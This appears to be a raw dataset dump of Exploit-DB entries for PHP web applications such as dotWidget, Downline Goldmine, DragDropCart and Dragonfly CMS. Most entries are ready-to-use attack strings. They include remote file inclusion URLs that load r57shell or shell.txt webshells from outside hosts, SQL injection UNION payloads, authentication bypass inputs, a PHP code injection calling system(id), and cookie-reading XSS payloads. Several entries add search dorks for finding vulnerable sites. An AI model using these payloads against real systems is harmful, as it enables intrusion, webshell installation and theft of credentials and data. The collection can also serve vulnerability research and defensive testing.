deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28045
Description: dotWidget for articles 2.0 - '/admin/categories.php' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-06-03
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/18479/info
     
dotWidget for Articles is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
     
Some of these issue may be related to those discussed in BID 18258 (DotWidget CMS Multiple Remote File Include Vulnerabilities).

http://www.example.com/path/admin/categories.php?admin_header_file=http://www.example2.com/r57shell.txt?
http://www.example.com/path/admin/categories.php?admin_footer_file=http://www.example2.com/r57shell.txt?
Exploit-DB #28046
Description: dotWidget for articles 2.0 - '/admin/editconfig.php' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-06-03
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/18479/info
      
dotWidget for Articles is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
      
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
      
Some of these issue may be related to those discussed in BID 18258 (DotWidget CMS Multiple Remote File Include Vulnerabilities).

http://www.example.com/path/admin/editconfig.php?admin_header_file=http://www.example2.com/r57shell.txt?
http://www.example.com/path/admin/editconfig.phpadmin_footer_file=http://www.example2.com/r57shell.txt?
Exploit-DB #28043
Description: dotWidget for articles 2.0 - '/admin/index.php' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-06-03
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/18479/info
    
dotWidget for Articles is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
    
Some of these issue may be related to those discussed in BID 18258 (DotWidget CMS Multiple Remote File Include Vulnerabilities).

http://www.example.com/path/admin/index.php?admin_header_file=http://www.example2.com/r57shell.txt?
Exploit-DB #28040
Description: dotWidget for articles 2.0 - 'showarticle.php?file_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-03
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/18479/info
 
dotWidget for Articles is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
 
Some of these issue may be related to those discussed in BID 18258 (DotWidget CMS Multiple Remote File Include Vulnerabilities).
 
http://www.example.com/path/showarticle.php?file_path=http://www.example2.com/r57shell.txt?
Exploit-DB #28039
Description: dotWidget for articles 2.0 - 'showcatpicks.php?file_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-03
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/18479/info

dotWidget for Articles is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Some of these issue may be related to those discussed in BID 18258 (DotWidget CMS Multiple Remote File Include Vulnerabilities).

http://www.example.com/path/showcatpicks.php?file_path=http://www.example2.com/r57shell.txt?
Exploit-DB #25271
Description: Double Choco Latte 0.9.3/0.9.4 - 'main.php' Arbitrary PHP Code Execution
Type: webapps
Platform: php
Date: 2005-03-24
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/12894/info

Double Choco Latte is reported prone to multiple vulnerabilities. These issues result from insufficient sanitization of user-supplied data and may allow an attacker to carry out cross-site scripting/HTML injection attacks and execute arbitrary PHP code on a computer.

Double Choco Latte 0.9.4.3 is reported vulnerable to the cross-site scripting/HTML injection issue.

Double Choco Latte 0.9.4.2 and prior versions are affected by the PHP code execution issue.

This BID will be updated when more information is available.

http://www.example.com/main.php?menuAction=htmlTickets.show;system(id);ob_start
Exploit-DB #45997
Description: Double Your Bitcoin Script Automatic - Authentication Bypass
Type: webapps
Platform: php
Date: 2018-12-14
Author: Veyselxan

Exploit:
# Exploit Title: Double Your Bitcoin Script Automatic 2018 for $50 - Authentication Bypass
# Date: 2018-12-08
# Exploit Author: Veyselxan
# Vendor Homepage: https://codeclerks.com/php-programming/1007/Double-Your-Bitcoin-Script-Automatic-2018
# Version: v1 (REQUIRED)
# Tested on: Linux
http://traget/admin/index.php

username: '=''or'

Password: '=''or'
Exploit-DB #28016
Description: DoubleSpeak 0.1 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-06-13
Author: R@1D3N

Exploit:
source: https://www.securityfocus.com/bid/18401/info

DoubleSpeak is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect versions 0.1 and prior; other versions may also be vulnerable.

This BID has been retired.

http://www.example.com/[igloo_Path]/html/index.php?config[private]=http://www.example.com/x.txt?&cmd=uname -a
http://www.example.com/[igloo_Path]/html/faq.php?config[private]=http://www.example.com/x.txt?&cmd=uname -a
http://www.example.com/[igloo_Path]/html/hardware.php?config[private]=http://www.example.com/x.txt?&cmd=uname -a
Exploit-DB #9491
Description: Dow Group - 'new.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-11-16
Author: ProF.Code

Exploit:
=====================================
| Dow Group admin by pass (new.php)
=====================================
Author:ProF.Code
Email :adt@hotmail.com
=====================================
~~~~~~~~~~~~~~~~~~~~
dork(google) : intext:"powered and designed by Dow Group"
~~~~~~~~~~~~~~~~~~~~
demo (username): http://server/new.php?id=-9+union+select+1,user_name,3,4+from+admin
demo (password) : http://server/new.php?id=-9+union+select+1,password,3,4+from+admin
user : nabadmin
pass : nabadmin_123
=============================================================

#====GreeTZ===============#
#all my friends in my email #
#======================#
Exploit-DB #6946
Description: Downline Goldmine Builder - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-01
Author: Hussin X

Exploit:
Downline Goldmine Builder (tr.php id) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    :http://www.downlinegoldmine.com/

DorK   :inurl:tr.php?id=

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13--





Demo :
_______

http://www.downlinegoldmine.com/downlinebuilder/tr.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13--


Greetz : All my freind

# milw0rm.com [2008-11-01]
Exploit-DB #6947
Description: Downline Goldmine Category Addon - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-01
Author: Hussin X

Exploit:
Category Addon (tr.php id) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.downlinegoldmine.com/

DorK   :  inurl:tr.php?id=

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13--



Demo :
_______
http://www.downlinegoldmine.com/categoryaddon/tr.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13--






Greetz : All my freind

# milw0rm.com [2008-11-01]
Exploit-DB #6951
Description: Downline Goldmine newdownlinebuilder - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-02
Author: Hussin X

Exploit:
newdownlinebuilder (tr.php id) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.downlinegoldmine.com/

DorK   :  inurl:tr.php?id=

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13--


Demo :
_______

http://www.downlinegoldmine.com/newdownlinebuilder/tr.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13--





Greetz : All my freind

# milw0rm.com [2008-11-02]
Exploit-DB #6950
Description: Downline Goldmine paidversion - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-02
Author: Hussin X

Exploit:
paidversion (tr.php id) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.downlinegoldmine.com/

DorK   :  inurl:tr.php?id=

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13--

Demo :
_______

http://www.downlinegoldmine.com/paidversion/tr.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13--





Greetz : All my freind

# milw0rm.com [2008-11-02]
Exploit-DB #15770
Description: Download Center 2.2 - SQL Injection
Type: webapps
Platform: php
Date: 2010-12-18
Author: DeadLy DeMon

Exploit:
Name : MHP DownloadScript v2.2 <<= SQL injection Vulnerability

+Autor : DeadLy DeMon
+Date : 18.12.2010
+Script : MHP DownloadScript v2.2
+Download : ----
+Site : http://www.mhproducts.de/php-scripte-5/tools-dienste/download-center.html
+Dork : Not Dork
+Price : 4,99 EURO
+Language : PHP
+Tests : Windows XP SP 3 and Backtrack4 any other OS
+Discovered by DeadLy DeMon
+ Cyber - Warrir TIM =>> www.Cyber-warrior.org
+Greetz to All KinqSqlZ Crew

---------------------------------------------------------------------------------------
DeadLy DeMon ,System-Hacker , BlackApple , HeroTurk , F0RTYS3V3N ,
JackTheRipper , Sadrazam and All KinqSqlZCrew Member

Aklınıza Geliriz , Aklınız
Gider..                                               KinqSqlZ Crew Akar...

----------------------------------------------------------------------------------------
Bug ;

*target/path/downloadcenter/admin/
*
*name : '

pass : '*
Exploit-DB #870
Description: Download Center Lite (DCL) 1.5 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-03-10
Author: Filip Groszynski

Exploit:
Example:

  if register_globals=on and allow_url_fopen=on:
    http://[victim]/[dir]/inc/download_center_lite.inc.php?script_root=http://[hacker_box]/

# milw0rm.com [2005-03-10]
Exploit-DB #31111
Description: Download Management 1.00 for PHP-Fusion - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2008-02-05
Author: Psiczn

Exploit:
source: https://www.securityfocus.com/bid/27618/info

Download Management for PHP-Fusion is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues may allow an attacker to access potentially sensitive information and execute arbitrary local scripts in the context of the affected application.

These issues affect Download Management 1.00; other versions may also be vulnerable. 

http://example.com/infusions/download_management/infusion.php?settings[locale]=LFI%00
http://example.com/infusions/download_management/download_management.php?settings[locale]=LFI%00
Exploit-DB #2521
Description: Download-Engine 1.4.2 - 'spaw' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-12
Author: v1per-haCker

Exploit:
#======================================================================================#
#  Download-Engine Remote File Include                                       		#
#======================================================================================#
# Info:-										#
#											#
# Scripts: Download-Engine								#
# Download: http://www.alexscriptengine.de/v2/dl_engine/redirect.php?dlid=50&ENGINEsessID=4754ee8243de5f333ec74272f249b649 
# Version : 1.4.2									#
# Dork & vuln : download scripts and think :)						#
# Note : only this version effcted :)							#
#======================================================================================#
#Exploit :										#
#											#
#http://localhost/path/admin/includes/spaw/spaw_control.class.php?spaw_root=http://EvElCoDe.txt?			 
#											#
#======================================================================================#
#Discoverd By : v1per-haCker								#
#											#
#Conatact : v1per-hacker[at]hotmail.com							#
#											#
#XP10_hackEr Team									#
#											#
#Greetz to : 										#
#abu_shahad | RooT-shilL | hitler_jeddah | BooB11 | FaTaL |  ThE-WoLf-KsA | mohandko | fooooz | maVen | fucker_net | metoovet
#                 									#
#	     										#
#And All Members In XP10_hackEr Team							#	
#Thanx to str0ke :)									#
#						[WWW.XP10.COM]				#
#======================================================================================#

# milw0rm.com [2006-10-12]
Exploit-DB #2359
Description: Downstat 1.8 - 'art' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-13
Author: SilenZ

Exploit:
DESCRIPTION: Remote file include vuln found by sZ [sept, 8 2006.]
SOFTWARE: downstat 1.8
VENDOR URL: http://vmist.net/index.php?script=Downstat
DORKs:
"Login To Downstat 1.8"
allinurl:"/downstat/"
 

NOTES: greetz to: neo-vortex, sk0tie, icez. visit @ irc.bluehell.org #silenz
 

VULN CODE:
------
admin.php:
 
if(!@include($art."in_php.php")) exit("upload ".$art."in_php.php");
 
------
chart.php:
 
if(!@include($art."downstat_art/in_html.php")){ exit("upload ".$art."in_html.php"); }
------
modes.php
 
if(!@include($art."downstat_art/in_html.php")){ exit("upload ".$art."in_html.php"); }  
-----
stats.php
 
if(!@include($art."downstat_art/in_html.php")){ exit("upload ".$art."in_html.php"); }
----
 

EXAMPLE:
http://site.com/downstat1.8/chart.php?art=http://silenz.be/shell.txt?

# milw0rm.com [2006-09-13]
Exploit-DB #34232
Description: DPScms - 'q' SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-01
Author: Ariko-Security

Exploit:
source: https://www.securityfocus.com/bid/41273/info

DPScms is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following example URIs are available:

http://www.example.com/index.php?q=[SQLI]
http://www.example.com/index.php?q=[XSS]
Exploit-DB #34730
Description: DragDropCart - '/assets/js/ddcart.php?sid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-20
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43478/info

DragDropCart is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/demo/assets/js/ddcart.php?sid=1<script>alert[PII_REDACTED]77)</script>
Exploit-DB #34731
Description: DragDropCart - '/includes/ajax/getstate.php?prefix' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-20
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43478/info
 
DragDropCart is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/demo/includes/ajax/getstate.php?country=1&prefix=1>"><ScRiPt %0A%0D>alert[PII_REDACTED]11)%3B</ScRiPt>
Exploit-DB #34732
Description: DragDropCart - 'index.php?search' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-20
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43478/info
  
DragDropCart is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/demo/index.php?page=1&search=1>"><ScRiPt %0A%0D>alert[PII_REDACTED]96)%3B</ScRiPt>
Exploit-DB #34734
Description: DragDropCart - 'login.php?redirect' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-20
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43478/info
    
DragDropCart is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
http://www.example.com/demo/login.php?redirect=1>"><ScRiPt %0A%0D>alert[PII_REDACTED]89)%3B</ScRiPt>
Exploit-DB #34735
Description: DragDropCart - 'productdetail.php?product' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-20
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43478/info
     
DragDropCart is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
     
http://www.example.com/demo/productdetail.php?product=1>"><ScRiPt %0A%0D>alert[PII_REDACTED]25)%3B</ScRiPt>
Exploit-DB #34733
Description: DragDropCart - 'search.php?search' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-20
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43478/info
   
DragDropCart is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
http://www.example.com/demo/search.php?search=1<script>alert[PII_REDACTED]08)</script>
Exploit-DB #27264
Description: Dragonfly CMS 9.0.6 1 News Module - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-02-22
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/16784/info
 
Dragonfly is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?name=News&catid=1"><script>alert()</script>
http://www.example.com/index.php?name=News&file=article&sid=7"><script>alert()</script>
http://www.example.com/index.php?name=News&file=submit
http://www.example.com/index.php?name=News&file=friend&sid=5"><script>alert()</script>
Exploit-DB #27263
Description: Dragonfly CMS 9.0.6 1 Your_Account Module - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-02-22
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/16784/info

Dragonfly is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?name=Your_Account&error=1&uname=bGFsYWxh"><script>alert(document.cookie)</script>
http://www.example.com/index.php?name=Your_Account&error=1"><script>alert(document.cookie)</script>&uname=bGFsYWxh
http://www.example.com/index.php?name=Your_Account&profile=3"><script>alert(document.cookie)</script>
http://www.example.com/index.php?name=Your_Account&error=1&uname=PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+
Exploit-DB #27269
Description: Dragonfly CMS 9.0.6.1 Coppermine Module - 'album' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-22
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/16784/info
      
Dragonfly is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
      
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?name=coppermine&file=thumbnails&album=1"><script>alert()</script>